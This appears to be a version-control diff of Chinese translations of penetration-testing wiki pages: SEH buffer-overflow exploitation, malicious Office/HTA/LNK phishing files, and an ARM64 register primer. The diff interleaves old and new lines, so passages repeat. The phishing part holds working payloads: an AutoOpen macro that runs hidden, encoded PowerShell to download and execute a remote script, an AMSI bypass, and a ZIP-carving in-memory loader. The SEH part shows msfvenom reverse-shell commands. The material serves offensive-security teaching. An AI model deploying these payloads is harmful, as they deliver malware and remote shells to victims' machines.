payload += b"D" * (buffer_length - len(payload))
```
执行流程
- 异常发生,调度器使用被覆盖的 SEH。
- POP POP RET 将堆栈展开到我们的 nSEH。
- nSEH 执行 `jmp short -8`,进入那个 5 字节的 near jump。
- Near jump 落在缓冲区开头,那里有 NOP sled + shellcode。
执行流程:
- 发生异常dispatcher 使用被覆盖的 SEH。
- POP POP RET 会展开并进入我们的 nSEH。
- nSEH 执行 `jmp short -8` 跳入那个 5-byte near jump。
- Near jump 落在我们缓冲区的起始处,那里放着 NOP sled + shellcode。
---
## Bad characters
## 坏字符
构建完整的 badchar 字符串并在崩溃后比较栈内存,移除被目标解析器破坏的字节。对于基于 HTTP 的溢出`\x00\x0a\x0d` 几乎总是被排除。
构建完整的 badchar 字符串并在崩溃后比较栈内存,移除被目标解析器破坏的字节。对于 HTTP-based overflows`\x00\x0a\x0d` 几乎总是被排除。
```python
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
@ -90,12 +90,12 @@ payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for
## Shellcode 生成 (x86)
使用 msfvenom 并指定你的 badchars。一个小的 NOP sled 可帮助容忍落点偏差。
使用 msfvenom 并带上你的 badchars。一个小的 NOP sled 有助于容忍落点偏差。
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
```
如果在运行时生成hex 格式便于在 Python 中嵌入并进行 unhex
如果动态生成hex 格式便于在 Python 中嵌入并进行 unhex
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
@ -104,7 +104,7 @@ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LP
## Delivering over HTTP (precise CRLF + Content-Length)
攻击向量是 HTTP 请求体时,构造一个带有精确 CRLFs 和 Content-Length 的原始请求,以便服务器读取整个溢出的请求体。
易受攻击的向量是 HTTP 请求体时,构造一个原始请求,使用精确的 CRLF 和 Content-Length使服务器读取整个溢出的请求体。
```python
# pip install pwntools
from pwn import remote
@ -127,19 +127,19 @@ p.close()
## 工具
- x32dbg/x64dbg 用于观察 SEH 链并对崩溃进行初步分析。
- ERC.Xdbg (x64dbg plugin) 用于枚举 SEH gadgets: `ERC --SEH`.
- Mona 作为替代工具: `!mona modules`, `!mona seh`.
- nasmshell 用于汇编短/近跳转并拷贝原始操作码。
- pwntools 用于构造精确的网络 payloads。
- x32dbg/x64dbg 用于观察 SEH 链并对崩溃进行定位和分析。
- ERC.Xdbg (x64dbg 插件) 用于枚举 SEH gadgets: `ERC --SEH`.
- Mona 作为替代`!mona modules`, `!mona seh`.
- nasmshell 用于汇编 short/near jumps 并复制原始操作码。
- pwntools 用于制作精确的网络 payloads。
---
## 注意事项与警告
## 注意事项与限制
- 仅适用于 x86 进程。x64 使用不同的 SEH 机制,基于 SEH 的利用通常不可行。
- 优先选择位于没有 SafeSEH 和 ASLR 保护的模块中的 gadgets否则找到加载到进程中的未受保护模块。
- 在崩溃后会自动重启的服务监护程序service watchdogs可以使迭代式 exploit 开发更便捷
- 优先在没有 SafeSEH 和 ASLR 的模块中寻找 gadgets否则寻找已加载到进程中的未受保护模块。
- 会在崩溃后自动重启的服务 watchdogs 可以让迭代式 exploit 开发更加方便
## References
- [HTB: Rainbow SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

View File

@ -1,16 +1,16 @@
# Phishing Files & Documents
# Phishing 文件与文档
{{#include ../../banners/hacktricks-training.md}}
## Office Documents
## Office 文档
Microsoft Word 在打开文件之前执行文件数据验证。数据验证以数据结构识别的形式根据 OfficeOpenXML standard 进行。如果在数据结构识别过程中发生任何错误,被分析的文件将不会被打开。
Microsoft Word 在打开文件之前执行文件数据验证。数据验证以数据结构识别的形式进行,依据 OfficeOpenXML 标准。如果在数据结构识别过程中发生任何错误,被分析的文件将不会被打开。
通常,包含宏的 Word 文件使用 `.docm` 扩展名。但是,可以通过更改文件扩展名来重命名文件,同时仍保持其宏执行能力。\
例如,按设计 RTF 文件不支持宏,但将 DOCM 文件重命名为 RTF 后Microsoft Word 会将其处理并能够执行宏。\
通常,包含宏的 Word 文件使用 `.docm` 扩展名。不过,可以通过更改文件扩展名来重命名文件,同时仍保留其宏执行能力。\
例如RTF 文件按设计不支持宏,但将 DOCM 文件重命名为 RTF 后Microsoft Word 会处理它,能够执行宏。\
相同的内部机制适用于 Microsoft Office Suite 的所有软件Excel、PowerPoint 等)。
您可以使用以下命令检查某些 Office 程序执行哪些扩展名
您可以使用以下命令检查哪些扩展名将被某些 Office 程序执行:
```bash
assoc | findstr /i "word excel powerp"
```
@ -18,23 +18,23 @@ DOCX files referencing a remote template (File Options Add-ins Manage:
### 外部图片加载
转到: _Insert --> Quick Parts --> Field_\
_**Categories**:链接和引用,**Filed names**includePicture**Filename or URL**_ http://<ip>/whatever
转到 _Insert --> Quick Parts --> Field_\
_**类别**: Links and References, **字段名**: includePicture, and **文件名或 URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Macros 后门
### 后门
可以使用 macros 在文档中运行任意代码。
可以利用宏从文档中运行任意代码。
#### 自动加载函数
这些函数越常见AV 检测到它们的概率越高
这些函数越常见AV 检测到它们的可能性越大
- AutoOpen()
- Document_Open()
#### Macros 代码示例
#### 代码示例
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,26 +64,26 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### 手动除元数据
#### 手动除元数据
转到 **File > Info > Inspect Document > Inspect Document**,这打开 Document Inspector。点击 **Inspect**,然后在 **Document Properties and Personal Information** 旁点击 **Remove All**
转到 **File > Info > Inspect Document > Inspect Document**,这打开 Document Inspector。点击 **Inspect**,然后在 **Document Properties and Personal Information** 旁点击 **Remove All**
#### 文档扩展名
#### Doc Extension
完成后,**Save as type** 下拉菜单中选择,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\
这样做的原因是你 **can't save macro's inside a `.docx`**,而且围绕 macro-enabled 的 **`.docm`** 扩展名存在一定的**污名**(例如缩略图图标有一个大的 `!`,一些 web/email gateway 会完全阻止它们)。因此,这个**传统的 `.doc` 扩展名是最佳折衷**
完成后,选择 **Save as type** 下拉菜单,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\
这样做是因为你 **can't save macro's inside a `.docx`**,而且带宏的 **`.docm`** 扩展名有一定的 **污名**(例如缩略图图标会有一个很大的 `!`,一些 web/email 网关会完全拦截它们)。因此,这个 **传统的 `.doc` 扩展名是最好的折中方案**
#### 恶意 Macros 生成器
#### Malicious Macros Generators
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA 文件
## HTA Files
HTA 是 Windows 程序,**结合了 HTML 和脚本语言(例如 VBScript 和 JScript**。它生成用户界面并作为“fully trusted”应用程序执行,不受浏览器安全模型的约束。
An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**。它生成用户界面并作为“fully trusted”应用程序执行不受浏览器安全模型的约束。
HTA 使用 **`mshta.exe`** 执行,该程序通常随 **Internet Explorer** 一起**安装**,这使得 **`mshta` 依赖于 IE**。因此,如果 IE 已被卸载HTA 将无法执行。
An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**。所以如果它被卸载HTAs 将无法执行。
```html
<--! Basic HTA Execution -->
<html>
@ -140,9 +140,9 @@ self.close
```
## 强制 NTLM 认证
有几种方法可以**远程强制 NTLM 认证**,例如,你可以在用户将访问的邮件或 HTML 中添加**不可见图片**(甚至通过 HTTP MitM。或者发送给受害者一些会在**打开文件夹**就**触发**认证的**文件地址**。
有几种方法可以**远程强制 NTLM 认证**,例如,你可以在用户会访问的邮件或 HTML 中加入**隐形图片**(甚至通过 HTTP MitM。或者发送给受害者会在仅仅**打开文件夹**就**触发**一次**认证**的**文件地址**。
**在下面的页面中查看这些想法和更多内容:**
**在下列页面中查看这些想法及更多内容:**
{{#ref}}
@ -156,24 +156,24 @@ self.close
### NTLM Relay
别忘了你不仅可以窃取哈希或认证,还可以**执行 NTLM relay attacks**
别忘了,你不仅可以窃取哈希或认证,也可以**perform NTLM relay attacks**
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
高效的活动通常投递一个 ZIP其中包含两个合法的诱饵文档 (PDF/DOCX) 和一个恶意 .lnk。技巧在于真正的 PowerShell loader 被存放在 ZIP 原始字节中某个唯一标记之后,.lnk 会 carve 出来并在内存中完全运行它。
高效的活动会投放一个 ZIP其中包含两个合法的诱饵文档 (PDF/DOCX) 和一个恶意的 .lnk。诀窍在于实际的 PowerShell loader 存储在 ZIP 的原始字节中一个独特标记之后,而 .lnk 会在内存中从中切割并完全运行它。
典型由 .lnk PowerShell 单行命令实现的流程
典型流程由 .lnk PowerShell 单行命令实现:
1) 在常见路径定位原始 ZIPDesktop, Downloads, Documents, %TEMP%, %ProgramData%, 以及当前工作目录的父目录。
1) 定位原始 ZIP 于常见路径Desktop, Downloads, Documents, %TEMP%, %ProgramData%, 以及当前工作目录的父目录。
2) 读取 ZIP 字节并查找硬编码标记(例如 xFIQCV。标记之后的所有内容就是嵌入的 PowerShell payload。
3) 将 ZIP 复制到 %ProgramData%,在那里解压,并打开诱饵 .docx 以显得合法。
4) 为当前进程绕过 AMSI: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) 对下一阶段进行去混淆(例如除所有 # 字符)并在内存中执行。
4) 对当前进程绕过 AMSI [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) 对下一阶段进行去混淆(例如除所有 # 字符)并在内存中执行。
Example PowerShell skeleton to carve and run the embedded stage:
用于切割并运行嵌入阶段的示例 PowerShell 骨架:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
@ -190,11 +190,11 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
说明
备注
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts.
- 下一阶段通常会解密 base64/XOR shellcode并通过 Reflection.Emit + VirtualAlloc 执行,以最小化磁盘痕迹。
在同一链中使用的持久性
同一链中使用的持久化
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
{{#ref}}
@ -202,10 +202,10 @@ Invoke-Expression $code
{{#endref}}
狩猎/IOCs
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
- 包含追加到归档数据末尾的 ASCII 标记字符串(例如 xFIQCV的 ZIP 文件。
- .lnk 会枚举父/用户文件夹以定位 ZIP 并打开诱饵文档。
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Long-running business threads ending with links hosted under trusted PaaS domains.
- 长期运行的业务线程,结尾包含托管于受信任 PaaS 域名下的 links。
## 参考资料

File diff suppressed because it is too large Load Diff

View File

@ -1,255 +1,258 @@
# ARM64v8简介
# ARM64v8 简介
{{#include ../../../banners/hacktricks-training.md}}
## **异常级别 - EL (ARM64v8)**
ARMv8架构中执行级别称为异常级别EL定义了执行环境的特权级别和能力。共有四个异常级别从EL0到EL3每个级别有不同的用途
ARMv8 架构中,执行级别,称为 异常级别 (ELs),定义了执行环境的权限等级和能力。共有四个异常级别,从 EL0 到 EL3每个级别承担不同的职责
1. **EL0 - 用户模式**
- 这是权最低的级别,用于执行常规应用程序代码。
- 在EL0运行的应用程序相互隔离并与系统软件隔离从而增强安全性和稳定性。
- 这是权最低的级别,用于执行常规应用代码。
- 在 EL0 运行的应用相互以及与系统软件隔离,增强了安全性和稳定性。
2. **EL1 - 操作系统内核模式**
- 大多数操作系统内核在此级别运行。
- EL1的特权高于EL0可以访问系统资源但有一些限制以确保系统完整性
3. **EL2 - 虚拟机监控模式**
- 此级别用于虚拟化。在EL2运行的虚拟机监控程序可以管理多个操作系统每个操作系统在自己的EL1中在同一物理硬件上运行
- EL2提供对虚拟化环境的隔离和控制功能。
4. **EL3 - 安全监控模式**
- 这是特权最高的级别,通常用于安全启动和受信执行环境。
- EL3可以管理和控制安全状态与非安全状态之间的访问例如安全启动、受信OS等)。
- EL1 的权限高于 EL0可访问系统资源但为了保证系统完整性存在一些限制
3. **EL2 - Hypervisor 模式**
- 此级别用于虚拟化。运行在 EL2 的 hypervisor 可以在相同物理硬件上管理多个操作系统(每个在其各自的 EL1 中运行)
- EL2 提供对虚拟化环境的隔离和控制功能。
4. **EL3 - Secure Monitor 模式**
- 这是权限最高的级别,通常用于安全引导和受信任执行环境。
- EL3 可以管理和控制安全态与非安全态之间的访问(例如 secure boot、trusted OS 等)。
使用这些级别可以以结构化和安全的方式管理系统的不同方面从用户应用程序到最特权的系统软件。ARMv8对特权级别的处理有助于有效隔离不同的系统组件从而增强系统的安全性和稳健性。
这些级别的使用提供了一种结构化且安全的方式来管理系统的不同方面从用户应用到最高权限的系统软件。ARMv8 对权限级别的设计有助于有效隔离不同系统组件,从而增强系统的安全性和健壮性。
## **寄存器 (ARM64v8)**
ARM64有**31个通用寄存器**,标记为`x0``x30`。每个寄存器可以存储一个**64位**8字节值。对于只需要32位值的操作可以使用w0到w30以32位模式访问相同的寄存器
ARM64**31 个通用寄存器**,标记为 `x0``x30`。每个寄存器可以存储 **64-bit**8 字节)值。对于仅需 32 位值的操作,可以使用 `w0``w30` 访问同一寄存器的 32 位模式
1. **`x0`**到**`x7`** - 这些通常用作临时寄存器和传递参数给子例程
- **`x0`**还携带函数的返回数据。
2. **`x8`** - 在Linux内核中`x8`用作`svc`指令的系统调用号。**在macOS中使用的是x16**
3. **`x9`**到**`x15`** - 更多的临时寄存器,通常用于局部变量。
4. **`x16`**和**`x17`** - **过程内调用寄存器**。用于立即值的临时寄存器。它们也用于间接函数调用和PLT过程链接表)存根。
- **`x16`**在**macOS**中用作**`svc`**指令的**系统调用号**
5. **`x18`** - **平台寄存器**。可以用作通用寄存器,但在某些平台上,此寄存器保留用于平台特定用途在Windows中指向当前线程环境块或指向当前**执行任务结构在linux内核**中
6. **`x19`**到**`x28`** - 这些是被调用者保存的寄存器。函数必须为其调用者保留这些寄存器的值,因此它们存储在堆栈中,并在返回调用者之前恢复。
7. **`x29`** - **帧指针**,用于跟踪堆栈帧。当由于调用函数而创建新的堆栈帧时,**`x29`**寄存器被**存储在堆栈**中,**新的**帧指针地址(**`sp`**地址)被**存储在此寄存器**中
- 此寄存器也可以用作**通用寄存器**,尽管通常用作对**局部变量**的引用。
8. **`x30`**或**`lr`** - **链接寄存器**。它在执行`BL`(带链接的分支)或`BLR`(带链接到寄存器的分支)指令时保存**返回地址**,通过将**`pc`**值存储在此寄存器中
1. **`x0`** **`x7`** - 通常用作临时寄存器和用于向子例程传递参数。
- **`x0`** 也承载函数的返回数据。
2. **`x8`** - 在 Linux 内核中,`x8` 用作 `svc` 指令的系统调用号。**在 macOS 实际使用的是 x16**
3. **`x9`** **`x15`** - 更多的临时寄存器,通常用于局部变量。
4. **`x16`****`x17`** - **过程内调用寄存器Intra-procedural Call Registers**。用于存放立即数的临时寄存器。它们也用于间接函数调用和 PLTProcedure Linkage Table)存根。
- **`x16`****macOS** 中被用作 `svc` 指令的 **系统调用号**
5. **`x18`** - **平台寄存器**可以用作通用寄存器,但在某些平台上,该寄存器保留给平台特定用途:在 Windows 中指向当前线程环境块,在 Linux kernel 中指向当前正在执行的 task structure
6. **`x19`** **`x28`** - 这些是被调用者保存的寄存器callee-saved。函数必须为其调用者保留这些寄存器的值,因此在函数开始时将它们存到栈中,并在返回前恢复。
7. **`x29`** - **帧指针**,用于跟踪栈帧。当因为函数调用创建新栈帧时,`x29` 寄存器会被 **存入栈中**,新的帧指针地址(即 `sp` 地址)会存入该寄存器
- 此寄存器也可用作 **通用寄存器**,尽管通常用作访问 **局部变量** 的引用。
8. **`x30`****`lr`** - **链接寄存器**。当执行 `BL`Branch with Link`BLR`Branch with Link to Register指令时它保存 **返回地址**,即将 `pc` 的值存入该寄存器
- 它也可以像其他寄存器一样使用。
- 如果当前函数将调用新函数并因此覆盖`lr`,它将在开始时将其存储在堆栈中,这是尾声(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> 存储`fp``lr`,生成空间并获取新的`fp`)并在结束时恢复,这是序言`ldp x29, x30, [sp], #48; ret` -> 恢复`fp``lr`并返回)。
9. **`sp`** - **栈指针**,用于跟踪栈顶
- **`sp`**值应始终保持至少为**四字**对齐,否则可能会发生对齐异常。
10. **`pc`** - **程序计数器**指向下一条指令。此寄存器只能通过异常生成、异常返回和分支进行更新。唯一可以读取此寄存器的普通指令是带链接的分支指令BLBLR以将**`pc`**地址存储在**`lr`**(链接寄存器)中
11. **`xzr`** - **零寄存器**。在其**32**位寄存器形式中也称为**`wzr`**。可以用来轻松获取零值(常见操作)或使用**`subs`**进行比较,如**`subs XZR, Xn, #10`**,将结果数据存储在无处(在**`xzr`**中)。
- 如果当前函数要调用新函数从而覆盖 `lr`,它会在开始时将 `lr` 存到栈中,这就是 epilogue`stp x29, x30 , [sp, #-48]; mov x29, sp` -> 存储 `fp``lr`,分配空间并获取新的 `fp`),并在结束时恢复,这就是 prologue`ldp x29, x30, [sp], #48; ret` -> 恢复 `fp` `lr` 并返回)。
9. **`sp`** - **栈指针**,用于跟踪栈顶。
- `sp` 的值应始终保持至少一个 **quadword 对齐**,否则可能触发对齐异常。
10. **`pc`** - **程序计数器Program counter**指向下一条指令。该寄存器只能通过异常产生、异常返回和分支来更新。唯一可以读取该寄存器的普通指令是带链接的分支指令BL、BLR它们将 `pc` 地址存入 `lr`Link Register
11. **`xzr`** - **零寄存器Zero register**。在 32 位形式中也称为 **`wzr`**。可用于轻松获取零值(常见操作)或使用 `subs` 执行比较,例如 `subs XZR, Xn, #10`,将结果存储到无处(即在 `xzr` 中)。
**`Wn`**寄存器是**`Xn`**寄存器的**32位**版本。
`Wn` 寄存器是 `Xn` 寄存器的 32-bit 版本。
### SIMD和浮点寄存器
> [!TIP]
> 从 X0 到 X18 的寄存器是易失的volatile这意味着它们的值可能会被函数调用和中断更改。然而从 X19 到 X28 的寄存器是非易失的non-volatile这意味着它们的值必须在函数调用之间被保留“callee saved”
此外,还有另外**32个128位长度的寄存器**可用于优化的单指令多数据SIMD操作和执行浮点运算。这些寄存器称为Vn寄存器尽管它们也可以在**64**位、**32**位、**16**位和**8**位中操作,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。
### SIMD 和 浮点寄存器
此外,还有另外 **32 个 128-bit 长度的寄存器**可用于优化的单指令多数据SIMD操作和浮点运算。这些被称为 Vn 寄存器,虽然它们也可以以 **64-bit、32-bit、16-bit 和 8-bit** 大小操作,此时分别称为 **`Qn``Dn``Sn``Hn`** 和 **`Bn`**。
### 系统寄存器
**有数百个系统寄存器**也称为特殊用途寄存器SPRs用于**监控**和**控制**处理器行为。\
它们只能通过专用的特殊指令**`mrs`**和**`msr`**进行读取或设置。
**有数百个系统寄存器**也称为特殊用途寄存器SPRs用于 **监控** **控制** 处理器行为。\
它们只能使用专用的特殊指令 **`mrs`** 和 **`msr`** 读取或设置。
特殊寄存器**`TPIDR_EL0`**和**`TPIDDR_EL0`**在逆向工程中常见。`EL0`后缀表示可以访问寄存器的**最小异常**在这种情况下EL0是常规程序运行的常规异常特权级别)。\
它们通常用于存储**线程局部存储**内存区域的基地址。通常第一个寄存器对在EL0中运行的程序可读可写但第二个寄存器可以从EL0读取并从EL1写入如内核)。
特殊寄存器 `TPIDR_EL0``TPIDDR_EL0` 在逆向工程中经常出现。后缀 `EL0` 表示该寄存器可被访问的**最低异常级别**(在本例中 EL0 是常规程序运行的特权级别)。\
它们通常用于存储线程本地存储thread-local storage区的基地址。通常第一个对在 EL0 运行的程序是可读写的,但第二个可以从 EL0 读取并从 EL1 写入(例如内核)。
- `mrs x0, TPIDR_EL0 ; 将TPIDR_EL0读取到x0中`
- `msr TPIDR_EL0, X0 ; 将x0写入TPIDR_EL0`
- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
### **PSTATE**
**PSTATE**包含多个进程组件,序列化到操作系统可见的**`SPSR_ELx`**特殊寄存器中X是触发异常的**权限**级别(这允许在异常结束时恢复进程状态)。\
这些是可访问的字段:
**PSTATE** 包含若干进程组件,这些组件被序列化到操作系统可见的 `SPSR_ELx` 特殊寄存器中X 表示触发异常的 **权限级别**(这允许在异常结束时恢复进程状态)。\
以下是可访问的字段:
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
- **`N`**、**`Z`**、**`C`**和**`V`**条件标志
- **`N`**表示操作产生了负结果
- **`Z`**表示操作产生了零
- **`C`**表示操作产生了进位
- **`V`**表示操作产生了有符号溢出
- 两个正数的和产生负结果。
- 两个负数的和产生正结果。
- 在减法中,当从较小的正数中减去较大的负数(或反之),结果无法在给定位数范围内表示
- 显然处理器不知道操作是有符号还是无符号的,因此它将在操作中检查C和V并在发生进位时指示。
- 条件标志 **`N``Z``C``V`**
- **`N`** 表示操作产生了负结果
- **`Z`** 表示操作产生了零
- **`C`** 表示发生了进位carry
- **`V`** 表示发生了带符号溢出signed overflow
- 两个正数相加得到负结果。
- 两个负数相加得到正结果。
- 在减法中,当从较小的正数中减去较大的负数(或反之),且结果无法在给定位宽表示时发生
- 显然处理器不知道操作是有符号还是无符号的,因此在操作中检查 C V并在发生进位时指示出来,无论操作是否有符号
> [!WARNING]
> 并非所有指令都会更新这些标志。一些指令如**`CMP`**或**`TST`**会更新其他带有s后缀的指令如**`ADDS`**也会更新
> 并非所有指令都会更新这些标志。有些指令如 **`CMP`** 或 **`TST`** 会更新,其他带有 s 后缀的指令如 **`ADDS`** 也会更新它们
- 当前**寄存器宽度(`nRW`)标志**如果标志的值为0则程序在恢复后将以AArch64执行状态运行。
- 当前**异常级别****`EL`**在EL0中运行的常规程序将具有值0。
- **单步执行**标志(**`SS`**由调试器使用通过异常将SS标志设置为1以进行单步执行。程序将执行一步并发出单步异常。
- **非法异常**状态标志(**`IL`**用于标记特权软件执行无效异常级别转移时此标志设置为1处理器触发非法状态异常。
- **`DAIF`**标志:这些标志允许特权程序选择性屏蔽某些外部异常。
- 如果**`A`**为1则表示将触发**异步中止**。**`I`**配置为响应外部硬件**中断请求**IRQ。F与**快速中断请求**FIR关。
- **堆栈指针选择**标志(**`SPS`**在EL1及以上运行的特权程序可以在使用自己的堆栈指针寄存器和用户模型之间切换例如`SP_EL1``EL0`之间)。此切换通过写入**`SPSel`**特殊寄存器执行。此操作无法从EL0完成
- 当前 **寄存器宽度(`nRW`)标志**:如果该标志为 0则程序在恢复时将在 AArch64 执行状态下运行。
- 当前 **异常级别(`EL`**:在 EL0 运行的常规程序其值为 0。
- **单步执行`SS`** 标志:调试器通过在 `SPSR_ELx` 内设置 SS 标志为 1 来实现单步。程序将执行一步并触发单步异常。
- **非法异常状态(`IL`** 标志:当特权软件执行无效的异常级别转换时使用,该标志被设置为 1 并且处理器触发非法状态异常。
- **`DAIF`** 标志:这些标志允许特权程序选择性屏蔽某些外部异常。
- 如果 **`A`** 为 1 表示将触发 **asynchronous aborts**`I` 配置用于响应外部硬件中断请求IRQs`F` 与快速中断请求FIRs关。
- **栈指针选择(`SPS`** 标志:在 EL1 及以上运行的特权程序可以在使用它们自己的栈指针寄存器和用户模式的栈指针之间切换(例如在 `SP_EL1``EL0` 之间)。这种切换通过写入 `SPSel` 特殊寄存器来执行。EL0 无法执行此操作
## **调用约定 (ARM64v8)**
ARM64调用约定规定,**前八个参数**通过寄存器**`x0``x7`**传递。**额外**参数通过**堆栈**传递。**返回**值通过寄存器**`x0`**返回,或者在**`x1`**中返回**如果其长度为128位**。**`x19`**到**`x30`**和**`sp`**寄存器必须在函数调用之间**保留**
ARM64 的调用约定规定前 **八个参数** 使用寄存器 `x0``x7` 传递。**额外**的参数通过 **栈** 传递。返回值通过寄存器 `x0` 返回,如果返回值是 128 位长,也可以通过 `x1` 返回。`x19``x30``sp` 在函数调用间必须被 **保留**
在阅读汇编中的函数时,查找**函数序言和尾声**。**序言**通常涉及**保存帧指针(`x29`**、**设置**新的**帧指针**和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**
在阅读汇编函数时,注意函数的 **prologue**(序言)和 **epilogue**(尾声)。**prologue** 通常包括 **保存帧指针(`x29`**、**设置新的帧指针**,以及 **分配栈空间**。**epilogue** 通常包括 **恢复已保存的帧指针****从函数返回**
### Swift中的调用约定
### Swift 中的调用约定
Swift有其自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)中找到。
Swift 有其自己的 **调用约定**,可以在此找到:[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
## **常见指令 (ARM64v8)**
ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**是要执行的**操作**(如`add``sub``mov`等),**`dst`**是将存储结果的**目标**寄存器,**`src1`**和**`src2`**是**源**寄存器。立即数值也可以替代源寄存器使用
ARM64 指令通常具有 **格式 `opcode dst, src1, src2`**,其中 **`opcode`** 是要执行的操作(如 `add``sub``mov` 等),**`dst`** 是存放结果的目标寄存器,**`src1`** 和 **`src2`** 是源寄存器。也可以使用立即数作为源操作数
- **`mov`****移动**一个值从一个**寄存器**到另一个
- 示例:`mov x0, x1`这将值从`x1`移动到`x0`
- **`ldr`****加载**一个值从**内存**到一个**寄存器**
- 示例:`ldr x0, [x1]`这将`x1`指向的内存位置加载一个值到`x0`
- **偏移模式**:指示影响原始指针的偏移,例如:
- `ldr x2, [x1, #8]`,这将加载`x1 + 8`中的值到`x2`
- `ldr x2, [x0, x1, lsl #2]`,这将从数组`x0`中加载一个对象,从位置`x1`(索引)\* 4到`x2`
- **预索引模式**:这将对原始值应用计算,获取结果并将新原始值存储在原始值中
- `ldr x2, [x1, #8]!`,这将加载`x1 + 8``x2`并将结果存储在`x1`中。
- `str lr, [sp, #-4]!`,将链接寄存器存储在`sp`中并更新寄存器`sp`
- **后索引模式**:这类似于前一个,但内存地址被访问,然后计算并存储偏移。
- `ldr x0, [x1], #8`加载`x1``x0`并用`x1 + 8`更新`x1`
- **PC相对寻址**在这种情况下加载的地址相对于PC寄存器计算。
- `ldr x1, =_start`,这将加载`_start`符号开始的地址到`x1`与当前PC相关
- **`str`****存储**一个值从一个**寄存器**到**内存**
- 示例:`str x0, [x1]`这将值存储在`x0``x1`指向的内存位置。
- **`ldp`****加载寄存器对**。此指令**从**连续的内存**位置加载两个寄存器。内存地址通常通过将偏移添加到另一个寄存器中的值来形成。
- 示例:`ldp x0, x1, [x2]`这将`x2``x2 + 8`的内存位置加载`x0``x1`
- **`stp`****存储寄存器对**。此指令**将两个寄存器存储到**连续的内存**位置。内存地址通常通过将偏移添加到另一个寄存器中的值来形成。
